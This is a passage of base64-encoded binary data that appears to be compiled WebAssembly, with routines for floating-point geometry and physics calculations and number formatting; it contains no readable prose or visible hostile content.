ZCAFIBk3AwggBUHwAGogASAFIAIgAxBuIAUoAnAhBwJAIAQEQCAHRQRAIABBAzYCCAwCCyAAIAUqAnQ4AhAgAEECNgIIIAAgBSkDeDcCAAwBCyAHRQRAIABBAzYCCAwBCyAFKgJ0IglDAAAAAFwEQCAFKQN4IRkgACAJOAIQIABBAjYCCCAAIBk3AgAMAQsgDyALIA4QdiIJlSILIAsgC5QgCiAJlSIKIAqUkkMAAAAAkhB2Ig2VIgmUIBAgCiANlSINlJIhDgJAIBUgCZQgFiANlJIiDyAXIAmUIBggDZSSIhBeRQRAIA4gEF1FDQEgCCEGDAELIAEgBiAOIA9dGyEGCyAGKQIAIRkgBUGMAWogFDgCACAFQgA3AmQgBUIANwMYIAUgEzgCiAEgCiALIAwgCZQgGae+kiIJIBGTlCAKIAwgDZQgGUIgiKe+kiINIBKTlJJDbxKDOpIiCpQgAikCACIZQiCIp76SIQwgBSALIAqUIBmnvpIiC7ytIAy8rUIghoQ3A4ABIAUgCSALk7ytIA0gDJO8rUIghoQiGTcDECAFIBk3AwggBUGQAWogASAFIAVBgAFqIApDbxKDOpIQbiAFKAKQAUUEQCAAQQM2AggMAQsgAyAKIAUqApQBkyIDYEUEQCAAQQM2AggMAQsgACADOAIQIABBAjYCCCAAIAVBmAFqKQMANwIACyAFQaABaiQAC+AGAhB9AX4gAioCACEOIAJBBGoqAgAhECABKQIIIhWnviITIAEqAgAiBZMiCCAIlCAVQiCIp74gASoCBCIJkyILIAuUIhSSQwAAAACSIQYCQAJAAn0CQCACQQhqKgIAIgwgDJQgAkEMaioCACINIA2UkkMAAAAAkiIPQwAAADRfIgJFDQAgBkMAAAA0X0UNAEMAAAAADAELIAggDiAFkyIFlCALIBAgCZMiCZSSIQoCQCACRQRAIAUgDJQgCSANlJIhESAGQwAAADRfDQEgBiAPlCIFIAggDJQgCyANlJIiCSAJlCIHkyISQwAAADRfDQMgEotDAAAANF8NAwJAQwAAwH9DAACAPyAFmCAFIAVcG0MAAMB/QwAAgD8gB5ggByAHXBtcDQAgBbwiBCAHvCICTQRAIAIgBGtBBU8NAQwFCyAEIAJrQQVJDQQLIAogCSAKIAmUIAYgEZSTIBKVIgeUkiAGlQwCCyAKIAaVDAELIBGMIA+VIQdDAAAAAAshBSAHQwAAAABgRQ0BIAMgB2BFDQEgBUMAAAAAYEUNASAFQwAAgD9fRQ0BQwAAAAAhBUMAAAAAIQMgBkMAAIAoXgRAIAiMIAYQdiIFlSEDIAsgBZUhBQsgDCAFlCANIAOUkkMAAAAAXkUEQCAAIAc4AhAgAEIBNwIIIAAgAzgCBCAAIAU4AgAPCyAAIAc4AhAgAEKBgICAEDcCCCAAIAOMOAIEIAAgBYw4AgAPCyABKQIAIhWnviIKIA6TIQUgFUIgiKe+IBCTIQZDAAAAACEHQwAAAAAhCCAUIBMgCpMiCiAKlJJDAAAAAJIiDkMAAIAoXgRAIAqMIA4QdiIIlSEHIAsgCJUhCAsgBiAHlCAFIAiUkotDAAAANF1FDQAgCSAMIAWUIA0gBpSSIgaSIQUCQAJAAkACQCAGQwAAAABgRQRAIAVDAAAAAGANAQwFCyAFQwAAAABgDQELIABBADYCECAAQgE3AggMAQsgAyAGIAYgBSAFIAZeGyAFIAVcGyAPlSIDXQ0BIAUgBmBFBEAgAEKAgICAEDcCCCAAIAc4AgQgACAIOAIAIAAgBSAPlTgCEA8LIAAgAzgCECAAQgA3AggLIAAgBzgCBCAAIAg4AgAPCyAAQQM2AggPCyAAQQM2AggLxQYDAn8Dfgx9IwBBoAFrIgUkACAFQeAAakECNgIAIAVCgICAgBA3A1ggBUEAQdgAEK0LIQUgAkEMaioCACIKjCEOIAIqAggiC4whD0KAgICAgICAwD8hByALIAuUIAogCpSSQwAAAACSIgxDAAAAAF4EQCAPIAwQdiINlbytIA4gDZW8rUIghoQhBwsgBUEYakIANwMAIAEpAgAiCCABQQhqIgYpAgAiCSABKgIAIAenviIQlCABQQRqKgIAIhMgB0IgiKe+IhGUkiAGKgIAIBCUIAFBDGoqAgAiFCARlJJeGyEHIAVBEGogASoCECINIBCUIAenvpIgAioCACIQk7ytIA0gEZQgB0IgiKe+kiACKgIEIhGTvK1CIIaEIgc3AwAgBUIANwJkIAUgBzcDCCAFQfAAaiABIAUgAiADEG8gBSgCcCEGAkAgBARAIAZFBEAgAEEDNgIIDAILIAAgBSoCdDgCECAAQQI2AgggACAFKQN4NwIADAELIAZFBEAgAEEDNgIIDAELIAUqAnQiEkMAAAAAXARAIAUpA3ghByAAIBI4AhAgAEECNgIIIAAgBzcCAAwBCyAJp74hEiAIp74hFUKAgICAgICAwD8hByALIAwQdiIMlSILIAuUIAogDJUiCiAKlJJDAAAAAJIiDEMAAAAAXgRAIAsgDBB2IgyVvK0gCiAMlbytQiCGhCEHCyAFQYwBaiAOOAIAIAUgDzgCiAEgBUIANwJkIAVCADcDGCAIIAkgFSAHp74iDpQgEyAHQiCIp74iD5SSIBIgDpQgFCAPlJJeGyEHIAogCyANIA6UIAenvpIiDiAQk5QgCiANIA+UIAdCIIinvpIiDyARk5SSQ28SgzqSIgqUIAIpAgAiB0IgiKe+kiENIAUgCyAKlCAHp76SIgu8rSANvK1CIIaENwOAASAFIA4gC5O8rSAPIA2TvK1CIIaEIgc3AxAgBSAHNwMIIAVBkAFqIAEgBSAFQYABaiAKQ28SgzqSEG8gBSgCkAFFBEAgAEEDNgIIDAELIAMgCiAFKgKUAZMiA2BFBEAgAEEDNgIIDAELIAAgAzgCECAAQQI2AgggACAFQZgBaikDADcCAAsgBUGgAWokAAvtBgMFfwx9A34jAEHQAGsiBCQAAkACQCABBEAgACgCFCEIIARBCGoiBiAAKAIYIgVBCGopAgAiFTcDACAEQRBqIgcgBUEQaikCADcDACAEQRhqIAVBGGopAgA3AwAgBEEgaiAFQSBqKAIANgIAIAQgBSkCADcDACAGIAYqAgAgASoCCCIQIAQqAgAiCZQgAUEMaioCACIRIAQqAgQiCpSTkiIUOAIAIARBFGoiBSoCACELIAcqAgAhDiAEIAkgASoCBCIMlCAKIAEqAgAiDZSSIhI4AgQgBCAEKgIMIBEgCZQgECAKlJKSIg84AgwgBCANIAmUIAwgCpSTIhM4AgAgBSATIAogDpQgCSALlJIgFUIgiKe+kiAPkyIPlCASIAkgDpQgCiALlJMgFae+kiAUkyIJlJM4AgAgByATIAmUIBIgD5SSOAIAIARBKGogCCAEIAIgAyAAKAIcIAAoAgAgACgCBCAAKAIIKgIAIAAoAgwqAgAgACgCEC0AABDQASAELQBMIgJBBUcNAUEEIQEMAgsgBEEoaiAAKAIUIAAoAhggAiADIAAoAhwgACgCACAAKAIEIAAoAggqAgAgACgCDCoCACAAKAIQLQAAENABIAQtAExBBUYEQEEEIQEMAgsgBCgCTCEBIAQqAkghCSAEKQNAIRYgBCkDOCEXIAQpAzAhFSAEKgIsIQogBCoCKCELDAELQQQhASAEKgJIIQkgBCkDQCEWIAQpAzAhFSACQQRGDQAgDSAEKgI4IgqUIAwgBCoCPCILlJO8rSAMIAqUIA0gC5SSvK1CIIaEIRcgDCAEKgIoIguUIA0gBCoCLCIOlJIgEZIhCiANIAuUIAwgDpSTIBCSIQsgAiEBCwJAAkACQCABQf8BcUEERwRAIAAoAiQiAigCACIDQQRPDQEgACgCICADQQJ0aiAJOAIAIAIoAgAiA0EETw0CIAAoAiggA2ogCSAAKAIsKgIAXToAACACKAIAIgJBBE8NAyAAKAI0KAIAIQMgACgCMCACQSxsaiIAIAE2AiggACAJOAIkIAAgFjcCHCAAIBc3AhQgACAVNwIMIAAgCjgCCCAAIAs4AgQgACADNgIACyAEQdAAaiQADwsgA0EEQaSjwgAQowcACyADQQRBtKPCABCjBwALIAJBBEHEo8IAEKMHAAumBwIGfwN+IwBB8AhrIgQkACABvCEGQQMhBQJAIAFDAACAf1sNACABQwAAgP9bDQAgASABXARAQQIhBQwBCyAGQf///wNxQYCAgARyIAZBAXRB/v//B3EgBkEXdkH/AXEiBxsiCa0iCkIBgyELQQQhBQJAAkBBBEEDIAZBgICA/AdxG0ECIAZB/////wdxG0EDaw4CAAECCyAHQZYBayEIIAtQIQVCASEMDAELQoCAgBAgCkIBhiAJQYCAgARGIggbIQpCAkIBIAgbIQwgC1AhBUHofkHpfiAIGyAHaiEICyAEIAg7AegIIAQgDDcD4AggBEIBNwPYCCAEIAo3A9AIIAQgBToA6ggCfyAFQQJGBEBBACEHQeiCwwAMAQsgAkUEQCAGQR92IQdBiJzDAEHogsMAIAZBAEgbDAELQQEhB0GInMMAQYmcwwAgBkEASBsLIQJBASEGAkACfwJAAkACQAJAIAVBAmtBAyAFQQFLG0H/AXFBAWsOAwIBAAMLIAhBEHRBEHUiBUF0QQUgBUEASBtsIgVBv/0ASw0EIARBkAhqIARB0AhqIARBEGogBUEEdkEVaiIGQQAgA2tBgIB+IANBgIACSRsiBRCKASAFQRB0QRB1IQUCQCAEKAKQCEUEQCAEQcAIaiAEQdAIaiAEQRBqIAYgBRAiDAELIARByAhqIARBmAhqKAIANgIAIAQgBCkDkAg3A8AICyAFIAQuAcgIIgVIBEAgBEEIaiAEKALACCAEKALECCAFIAMgBEGQCGoQygIgBCgCDCEGIAQoAggMBAtBAiEGIARBAjsBkAggAwRAIARBoAhqIAM2AgAgBEEAOwGcCCAEQQI2ApgIIARB2JrDADYClAggBEGQCGoMBAtBASEGIARBATYCmAggBEGKnMMANgKUCCAEQZAIagwDC0ECIQYgBEECOwGQCCADBEAgBEGgCGogAzYCACAEQQA7AZwIIARBAjYCmAggBEHYmsMANgKUCCAEQZAIagwDC0EBIQYgBEEBNgKYCCAEQYqcwwA2ApQIIARBkAhqDAILIARBAzYCmAggBEGLnMMANgKUCCAEQQI7AZAIIARBkAhqDAELIARBAzYCmAggBEGOnMMANgKUCCAEQQI7AZAIIARBkAhqCyEFIARBzAhqIAY2AgAgBCAFNgLICCAEIAc2AsQIIAQgAjYCwAggACAEQcAIahDmASEAIARB8AhqJAAgAA8LQZecwwBBJUG8nMMAEMkIAAvHBwIIfwV+IwBBoAFrIgQkAAJAAkACQAJAAkACQAJAAkACQAJAIAEoAmgOAwAGAQILIAFBgICA/AM2AlAgASkCCCEMDAgLIAQgAUE4aiIDKQIANwMwIAQgAUEgaiIGKQIANwMoIAQgASkCCDcDICAEQgA3AzggBCAEQSBqIARBOGpBARB1IAFBCGohAiAEQRBqKAIAIQUgBCkDACEMIAQoAgwiBw4CAQIHC0GgncIAQR9BwJ3CABDJCAALIAVBA08NAyACIAVBGGxqIgNBEGoiBikCACELIANBCGoiCCkCACEKIAIpAgAhDSACIAMpAgA3AgAgAkEIaiIJKQIAIQ4gCSAKNwIAIAJBEGoiAikCACEKIAIgCzcCACADIA03AgAgCCAONwIAIAYgCjcCACABKAJYIQIgASABQdgAaiAFQQJ0aiIDKAIANgJYIAMgAjYCACABQYCAgPwDNgJQDAELIARBFGopAgAhCwJAAkACQCAFDgMAAQIHCyABIAs3AlAMAgsgAykCACEKIAMgAikCADcCACACIAo3AgAgA0EIaiIFKQIAIQogBSACQQhqIgUpAgA3AgAgBSAKNwIAIANBEGoiAykCACEKIAMgAkEQaiICKQIANwIAIAIgCjcCACABQdQAaiALPgIAIAEgC0IgiD4CUCABQeAAaiICKAIAIQMgAiABKAJYNgIAIAEgAzYCWAwBCyADKQIAIQogAyAGKQIANwIAIAYgCjcCACADQQhqIgIpAgAhCiACIAZBCGoiAikCADcCACACIAo3AgAgA0EQaiICKQIAIQogAiAGQRBqIgIpAgA3AgAgAiAKNwIAIAEgCzcCUCABQdwAaiICIAIpAgBCIIk3AgALIAEgBzYCaAwDCyABQSBqIgIpAgAhCyABKQIIIQwgBEIANwMgIAQgDCALIARBIGoQoAIgBEEQaigCACEDIAQpAwAhDCAEKAIMRQ0BIARBFGooAgAhAiABIAM2AlAgAUHUAGogAjYCAAwCCyAFQQNBmJzCABCjBwALAkACQAJAIAMOAgECAAtB4IrCAEEoQdCdwgAQyQgACyABQQA2AmggAUGAgID8AzYCUAwBCyABQYCAgPwDNgJQIAIpAgAhCyACIAFBCGoiAykCADcCACADIAs3AgAgAkEIaiIFKQIAIQsgBSADQQhqIgUpAgA3AgAgBSALNwIAIAJBEGoiAikCACELIAIgA0EQaiICKQIANwIAIAIgCzcCACABQQA2AmggASABKQJYQiCJNwJYCyAAIAw3AgAgBEGgAWokAAuVBgINfwJ+IwBBoAFrIgMkACADQQBBoAEQrQshCwJAAkAgACgCoAEiBSACTwRAIAVBKUkEQCABIAJBAnRqIQwgBUUNAiAFQQFqIQkgBUECdCENA0AgCyAGQQJ0aiEEA0AgBiEKIAQhAyABIAxGDQUgA0EEaiEEIApBAWohBiABKAIAIQcgAUEEaiICIQEgB0UNAAsgCkEoIApBKEkbQShrIQ4gB60hEUIAIRBBACEBIA0hByAAIQQCQAJAA0AgASAORg0BIAMgECADNQIAfCAENQIAIBF+fCIQPgIAIBBCIIghECADQQRqIQMgAUEBayEBIARBBGohBCAHQQRrIgcNAAsgBSEDIBCnIgRFDQEgBSAKaiIBQSdNBEAgCyABQQJ0aiAENgIAIAkhAwwCCyABQShByLLDABCjBwALIAFBf3MgBmpBKEHIssMAEKMHAAsgCCADIApqIgEgASAISRshCCACIQEMAAsACyAFQShByLLDABCXCwALIAVBKUkEQCACQQJ0IQ0gAkEBaiEMIAAgBUECdGohDiAAIQQDQCALIAdBAnRqIQUDQCAHIQYgBSEDIAQgDkYNBCADQQRqIQUgBkEBaiEHIAQoAgAhCSAEQQRqIgohBCAJRQ0ACyAGQSggBkEoSRtBKGshDyAJrSERQgAhEEEAIQQgDSEJIAEhBQJAAkADQCAEIA9GDQEgAyAQIAM1AgB8IAU1AgAgEX58IhA+AgAgEEIgiCEQIANBBGohAyAEQQFrIQQgBUEEaiEFIAlBBGsiCQ0ACyACIQMgEKciBEUNASACIAZqIgNBJ00EQCALIANBAnRqIAQ2AgAgDCEDDAILIANBKEHIssMAEKMHAAsgBEF/cyAHakEoQciywwAQowcACyAIIAMgBmoiAyADIAhJGyEIIAohBAwACwALIAVBKEHIssMAEJcLAAtBACEDA0AgASAMRg0BIANBAWohAyABKAIAIQIgAUEEaiEBIAJFDQAgCCADQQFrIgIgAiAISRshCAwACwALIAAgC0GgARCuCyAINgKgASALQaABaiQAC+4GAQd/IAEtABRBAkYhAwJAAkACQAJAAkACQAJAAkACQANAIANBAXEiA0UEQEEAIAEgAxsiBCgCCCEFIAQoAgAiAiAEQQxqKAIAIgdJDQIgBCgCECEGIAQoAgQhAwNAIAMiAiAHSQRAIAQgBSACQThsaiIIKAIEIgM2AgQgCCgCCCAGRg0BDAwLCyABQQI6ABQLAkAgASgCOCIDQQJGDQAgAUEANgI4IANFDQAgASgCQCIEQRxqKAIAIQYgBEEYaigCACECQX8hCEF/IQUgASgCPCIHIARBEGooAgBJBEAgBEEMaigCACAHQQR0aiIDKAIIIQUgA0EMaigCACEIC0EAIQMgAUEAOgAUIAEgBzYCECABIAY2AgwgASACNgIIIAEgCDYCBCABIAU2AgAgASAEQQhqNgIYDAELCyABQTBqLQAAQQJGIgMNAkEAIAFBHGogAxsiBSgCCCEEIAUoAgAiAiAFQQxqKAIAIgdJDQEgBSgCECEGIAUoAgQhAwNAIAMiAiAHSQRAIAUgBCACQThsaiIIKAIEIgM2AgQgCCgCCCAGRg0BDAULCyABQQI6ADBBACECDAQLIAQgBSACQThsaigCADYCAAwHCyAFIAQgAkE4bGooAgA2AgAMAQsgAEEANgIQDwsgBSgCGCIGQRRqKAIAIAJNDQEgAkE4bCIDIAZBEGooAgBqIgFBCGooAgAiByAGQQhqKAIAIgJPDQIgAUEMaigCACIBIAJPDQMgAyAEakEQaiECIAZBBGooAgAiBiABQQR0aiIBKAIEIQMgASgCACEIIAYgB0EEdGoiASgCACEFIAEoAgQhAQsgACACNgIQIAAgAzYCDCAAIAg2AgggACABNgIEIAAgBTYCAA8LQeTBwABBK0Hw5MEAEMkIAAsgByACQdDkwQAQowcACyABIAJB4OTBABCjBwALAkAgAiAEKAIYIgRBFGooAgBJBEAgAkE4bCIDIARBEGooAgBqIgFBCGooAgAiBiAEQQhqKAIAIgdPDQEgByABQQxqKAIAIgJNBEAgAiAHQeDkwQAQowcACyAEQQRqKAIAIQEgACADIAVqQRBqNgIQIAAgASACQQR0aikCADcCCCAAIAEgBkEEdGopAgA3AgAPC0HkwcAAQStB8OTBABDJCAALIAYgB0HQ5MEAEKMHAAvMBgICfgV/AkACQAJAAkACQAJAIAFBB3EiBARAAkACQCAAKAKgASIFQSlJBEAgBUUEQEEAIQUMAwsgBEECdEHIg8MAajUCACEDIAVBAWtB/////wNxIgRBAWoiB0EDcSEIIARBA0kEQCAAIQQMAgsgB0H8////B3EhByAAIQQDQCAEIAQ1AgAgA34gAnwiAj4CACAEQQRqIgY1AgAgA34gAkIgiHwhAiAGIAI+AgAgBEEIaiIGNQIAIAN+IAJCIIh8IQIgBiACPgIAIARBDGoiBjUCACADfiACQiCIfCECIAYgAj4CACACQiCIIQIgBEEQaiEEIAdBBGsiBw0ACwwBCyAFQShByLLDABCXCwALIAgEQANAIAQgBDUCACADfiACfCICPgIAIARBBGohBCACQiCIIQIgCEEBayIIDQALCyACpyIERQ0AIAVBJ0sNAiAAIAVBAnRqIAQ2AgAgBUEBaiEFCyAAIAU2AqABCyABQQhxRQ0EIAAoAqABIgVBKU8NASAFRQRAQQAhBQwECyAFQQFrQf////8DcSIEQQFqIgdBA3EhCCAEQQNJBEBCACECIAAhBAwDCyAHQfz///8HcSEHQgAhAiAAIQQDQCAEIAQ1AgBCgMLXL34gAnwiAj4CACAEQQRqIgY1AgBCgMLXL34gAkIgiHwhAiAGIAI+AgAgBEEIaiIGNQIAQoDC1y9+IAJCIIh8IQIgBiACPgIAIARBDGoiBjUCAEKAwtcvfiACQiCIfCECIAYgAj4CACACQiCIIQIgBEEQaiEEIAdBBGsiBw0ACwwCCyAFQShByLLDABCjBwALIAVBKEHIssMAEJcLAAsgCARAA0AgBCAENQIAQoDC1y9+IAJ8IgI+AgAgBEEEaiEEIAJCIIghAiAIQQFrIggNAAsLIAKnIgRFDQAgBUEnSw0CIAAgBUECdGogBDYCACAFQQFqIQULIAAgBTYCoAELIAFBEHEEQCAAQZiEwwBBAhCtAQsgAUEgcQRAIABBoITDAEEEEK0BCyABQcAAcQRAIABBsITDAEEHEK0BCyABQYABcQRAIABBzITDAEEOEK0BCyABQYACcQRAIABBhIXDAEEbEK0BCw8LIAVBKEHIssMAEKMHAAuEBgIJfQh/IwBBIGsiDyQAIABBAjoACAJAAkACQAJAIAIqAgAiBSAEkiABQSBqKgIAIgyVIghDAAAAv10NACAFIASTIAyVIgdDAAAAP14NACACQQRqKgIAIQYgAUEkaioCACEJQX8CfyAIQwAAAD+SQwAAgD8gAUEMaigCACIQs0MAAIC/kpUiCJWNIgUgEEEBa7MiCiAFIApdG0MAAAAAIAVDAAAAAF4bIgVDAAAAAGAiDiAFQwAAgE9dcQRAIAWpDAELQQALQQAgDhsgBUP//39PXhshEiAHQwAAAD+SIAiVjiIFIBBBAmuzIgcgBSAHXRtDAAAAACAFQwAAAABeGyIFQwAAAABgIgMhDiASQX8CfyADIAVDAACAT11xBEAgBakMAQtBAAtBACAOGyAFQ///f09eGyIDTQ0AIAFBFGooAgAhEyABQRxqKAIAIQ4gEEEBRwRAIAYgBJIgCZUhByAGIASTIAmVIQogAUEEaigCACADQQJ0aiERQ///f38hBQNAIA5BACADIA5BAUYiFBsiFU0NBSAUIAMiAUEAR3ENBSABQQFqIQMCQCATIBVqLQAARQ0AIAEgEE8NBSADIBBPDQQgEUEEaioCACEGIAcgESoCACILXSAGIAdecQ0AIAYgCl0gCiALXnENACAPQQhqIAwgCCABs5RDAAAAv5IiDZS8rSAJIAuUvK1CIIaEIAwgCCANkpS8rSAJIAaUvK1CIIaEIAIQoAIgDyoCCCILIAIqAgCTIgYgBpQgDyoCDCINIAJBBGoqAgCTIgYgBpSSQwAAAACSIgYgBV1FDQAgBpEgBF9FBEAgBiEFDAELIAAgDygCEDYCCCAAIA04AgQgACALOAIAIAYhBQsgEUEEaiERIAMgEkcNAAsMAQsDQEEAIAMgDkEBRiIAGyIBIA5PDQQgACADQQBHcQ0EIAEgE2otAAAEQCADRQ0DDAQLIBIgA0EBaiIDRw0ACwsgD0EgaiQADwtBxM7CABCTCgALQbTOwgAQkwoAC0GkzsIAEJMKAAvVBgIHfwV9IwBBEGsiAiQAAkAgASgCACIDRQRAIABBADYCAAwBCyABIANBAWs2AgACfyABKAIEIgEoAgQiBUEHTQRAIAJCgcoANwMIIAJBCGoQ6wkMAQsgASAFQQhrIgQ2AgQgASABKAIAIgNBCGo2AgAgAiADKQAAEKcEIAIoAgQiBiACKAIADQAaAkACQAJAAkACQAJAIAZFBEBBACEEDAELIARBA00NBSABIAVBDGsiBDYCBCABIANBDGo2AgAgBEEDTQ0EIAMoAAghCCABIAVBEGsiBDYCBCABIANBEGo2AgAgBEEDTQ0DIAMqAAwhCSABIAVBFGsiBDYCBCABIANBFGo2AgAgBEEDTQ0CIAMqABAhCiABIAVBGGsiBzYCBCABIANBGGo2AgBBASEEIAZBAUcNAQsgBCACQZCAwAAQuwYMBQsgB0EESQ0DIAMqABQhCyABIAVBHGsiBDYCBCABIANBHGo2AgAgBEEESQ0CIAMoABghBCABIAVBIGsiBzYCBCABIANBIGo2AgAgB0EESQ0BIAMqABwhDCABIAVBJGsiBzYCBCABIANBJGo2AgAgB0EESQ0AIAMqACAhDSABIAVBKGsiBzYCBCABIANBKGo2AgAgBkECRwRAIAdBBEkNBCABIAVBLGsiBjYCBCABIANBLGo2AgAgBkEESQ0DIAEgBUEwayIGNgIEIAEgA0EwajYCACAGQQRJDQIgASAFQTRrIgY2AgQgASADQTRqNgIAIAZBBEkNASABIAVBOGs2AgQgASADQThqNgIAQQIgAkGQgMAAELsGDAULIAAgAyoAJDgCICAAIA04AhwgACAMOAIYIAAgBDYCFCAAIAs4AhAgACAKOAIMIAAgCTgCCCAAIAg2AgQgAEEBNgIADAULIAJBADoACyACQSU7AAkgAkEANgIMIAJBAToACCACQQhqEOsJDAMLIAJBADoACyACQSU7AAkgAkEANgIMIAJBAToACCACQQhqEOsJDAILIAJBADoACyACQSU7AAkgAkEANgIMIAJBAToACCACQQhqEOsJDAELIAJBADoACyACQSU7AAkgAkEANgIMIAJBAToACCACQQhqEOsJCyEGIABBAjYCACAAIAY2AgQLIAJBEGokAAupBgEKfwJAAkACQCAAKAIIIgYgAU8EQCAAIAE2AgggASAGRg0CIAZBDGwgAUEMbCIDayEJIAAoAgQgA2ohAwNAIAMoAgAEQCADQQRqKAIAEIcBCyADQQxqIQMgCUEMayIJDQALDAELIAIoAgghBCACKAIEIQsgAigCACEMIAYhCSABIAZrIgcgACgCACAGa0sEQCAAIAYgBxC1BCAAKAIIIQkLIAAoAgQgCUEMbGohAwJAIAdBAkkNACAHIAlqQQFrIQkgBEUEQCAGQX9zIAFqIgVBA3EhCCAHQQJrQQNPBEAgBUF8cSEFA0AgA0IANwIIIANCgICAgMAANwIAIANBKGpCBDcCACADQSBqQgA3AgAgA0EYakKAgICAwAA3AgAgA0EQakIENwIAIANBMGohAyAFQQRrIgUNAAsLIAhFDQEDQCADQQA2AgggA0KAgICAwAA3AgAgA0EMaiEDIAhBAWsiCA0ACwwBCwJAAkAgBEH/////AUsNACAEQQJ0IgVBAEgNACAEQYCAgIACSUECdCEIIAVFDQEgBkF/cyABaiEHA0AgBSAIENAKIgpFBEAgBSAIQcDDwwAoAgAiAEGkBiAAGxEAAAALIAogCyAFEK4LIQogAyAENgIIIAMgCjYCBCADIAQ2AgAgA0EMaiEDIAdBAWsiBw0ACwwCCxCKCQALIAZBf3MgAWoiCkEDcSEFIAdBAmtBA08EQCAKQXxxIQcDQCADIAQ2AgggAyAINgIEIAMgBDYCACADQSxqIAQ2AgAgA0EoaiAINgIAIANBJGogBDYCACADQSBqIAQ2AgAgA0EcaiAINgIAIANBGGogBDYCACADQRRqIAQ2AgAgA0EQaiAINgIAIANBDGogBDYCACADQTBqIQMgB0EEayIHDQALCyAFRQ0AA0AgAyAENgIIIAMgCDYCBCADIAQ2AgAgA0EMaiEDIAVBAWsiBQ0ACwsgASAGRwRAIAMgBDYCCCADIAs2AgQgAyAMNgIAIAAgCUEBajYCCAwBCyAAIAk2AgggDEUNACALEIcBCyABIAZLDQELIAIoAgBFDQAgAkEEaigCABCHAQsLiwYDBH8HfQN+IwBB4ABrIgQkAAJAAkACQCABBEBBBCEGIAAoAgwhByAEIAEqAgAiCCAAKAIQKAIAIgVBBGoqAgAiC5QgAUEEaioCACIJIAUqAgAiCpSTOAIUIAQgCCAKlCAJIAuUkjgCECAEIAggBUEIaioCACABQQhqKgIAIg6TIguUIAkgBUEMaioCACABQQxqKgIAIgyTIgqUkrytIAggCpQgCSALlJO8rUIghoQ3AxggBCAIIAAoAhQiAUEEaioCACILlCAJIAEqAgAiCpSTOAIMIAQgCCAKlCAJIAuUkjgCCCAEQThqIAcgBEEQaiAEQQhqIAIgAyAAKAIAIAAoAgQgACgCGCoCACAAKAIcLQAAEF4gBC0AXCIBQQVHDQEMAgsgBEE4aiAAKAIMIAAoAhAoAgAgACgCFCACIAMgACgCACAAKAIEIAAoAhgqAgAgACgCHC0AABBeQQQhASAELQBcIgJBBUcEQCAEQRBqIgFBIGogBEE4aiIDQSBqKAIANgIAIAFBGGogA0EYaikDADcDACABQRBqIANBEGopAwA3AwAgAUEIaiADQQhqKQMANwMAIARBCmogBEHfAGotAAA6AAAgBCAEKQM4NwMQIAQgBC8AXTsBCCACIQELIAAoAggiACAEKQMQNwIAIAAgAToAJCAAIAQvAQg7ACUgAEEIaiAEQRBqIgFBCGopAwA3AgAgAEEQaiABQRBqKQMANwIAIABBGGogAUEYaikDADcCACAAQSBqIAFBIGooAgA2AgAgAEEnaiAEQQpqLQAAOgAADAILIAQqAlghCyAEKQNQIQ8gBCkDQCEQIAFBBEYNACAIIAQqAkgiCpQgCSAEKgJMIg2Uk7ytIAkgCpQgCCANlJK8rUIghoQhESAMIAkgBCoCOCIMlCAIIAQqAjwiDZSSkiEKIA4gCCAMlCAJIA2Uk5IhCCABIQYLIAAoAggiACAGOgAkIAAgCzgCICAAIA83AhggACARNwIQIAAgEDcCCCAAIAo4AgQgACAIOAIACyAEQeAAaiQAC90GAgl/An0jAEHgAGsiBCQAAn0CQCAAKAIgIgUEQCAFKAIAIghBAkcNAQtBACEIIARBEGpBADYCACAEQgA3AwhDAAAAAAwBCyAEQRBqIAVBEGooAgA2AgAgBCAFKQIINwMIIAUqAgQLIQ0gAEIANwIAIABBCGpCADcCACACQQhqKAIAIgUEQCACQQRqKAIAIgIgBUEDdGohCSABQTBqKAIAIQUgAUEsaigCACEKIARBKGohCyAEQSBqIQwDQAJAIAIoAgAiASAFTw0AIAogAUGQAWxqQQAgASAFSRsiASgCAEEBRw0AIAEoAgQgAkEEaigCAEcNACABQeoAai0AAA0AIAFB7ABqKAIAQQFHDQAgCyABQYABaikCADcDACAMIAFB+ABqKQIANwMAIAQgAUHwAGopAgA3AxggBCABQShqIgYoAgQiBzYCBCAEIAYoAgAgBygCCEEHakF4cWo2AgAgBCgCBCEGIAQoAgAhBwJAAkACQAJAIAFBMGooAgBBAWsOAgEAAgsgBEHIAGogAUE0aigCACIBQQhqKQIANwMAIAQgASkCADcDQAwCCyABQTRqKgIAIg5DAAAAAFsEQCAEQcgAakIANwMAIARCADcDQAwCCyAEQdAAaiIBIAdDAACAPyAGKAKQAREVACABIA4QzQggBEHIAGogAUEIaikDADcDACAEIAQpA1A3A0AMAQsgAUE0aioCACIOQwAAAABbBEAgBEHIAGpCADcDACAEQgA3A0AMAQsgBEFAayAHIA4gBigCkAERFQALIARBMGoiASAEQUBrIARBGGoQkwggBEHQAGoiBkEIaiABQQhqKQMANwMAIAQgBCkDMDcDUCAAIAYQnQgLIAkgAkEIaiICRw0ACwsCQCAIRQRAIARBJGogBEEQaigCADYCACAEIA04AhggBCAEKQMINwIcIAAgBEEYahCdCAwBCyAAIA1DAAAAAEMAAIA/IAAqAggiDZUgDUMAAAAAWxuSEM0ICyAEQRhqIAAgAxC1CCAAIAQpAxg3AhAgAEEcaiAAKAIIIgE2AgAgACABNgIYIAAgACoCDDgCJCAALQAoIgFBAXEEQCAAQQA2AhgLIAFBAnEEQCAAQQA2AhwLIAFBIHEEQCAAQQA2AiQLIARB4ABqJAAL0gUDGH0BfwJ+IwBBIGsiISQAIAJBFGoqAgAhCiACKQIYISMgAikCCCEiIAIqAhAhCyACKgIAIQwgAioCBCENICFBGGogCCoCBCIJIAIqAiAiGJQQaCAMICEqAhgiD5QgDSAhKgIcIg6UkiIQIAaUIAwgDpQgDSAPlJMiDiAHlJIhDyAOIAaUIBAgB5STIQ4gIkIgiKe+IgYgDSALlCAMIAqUkpIhECAGIBCTIRIgIqe+IgYgDCALlCANIAqUk5IhEyAGIBOTIRQgBCkCCCIip74iBiAEKgIAIgcgBCoCECIKlCAEKgIEIgsgBEEUaioCACIRlJOSIRUgBiAVkyEWICJCIIinviIGIAsgCpQgByARlJKSIREgBiARkyEXICNCIIinviEZIAQpAhgiIkIgiKe+IRogI6e+IRsgBCoCICEcICKnviEdQQAhAgJAA0AgCCAJAn0gAUMAAAAAXUUEQCABQwAAoDVeRQ0DIAggCTgCACAJIQcgCCoCCCIBDAELIAggCTgCCCAJIQEgCCoCACIHC5JDAAAAP5QiCTgCBCABIAeTQwAAoDVdRQRAICFBEGogGCAJlBBoICEqAhAhASAhKgIUIQYgIUEIaiAJIByUEGggDiAMIAaUIA0gAZSTIgeUIA8gDCABlCANIAaUkiIKlJIiCyAHIBUgCSAdlJIgISoCDCI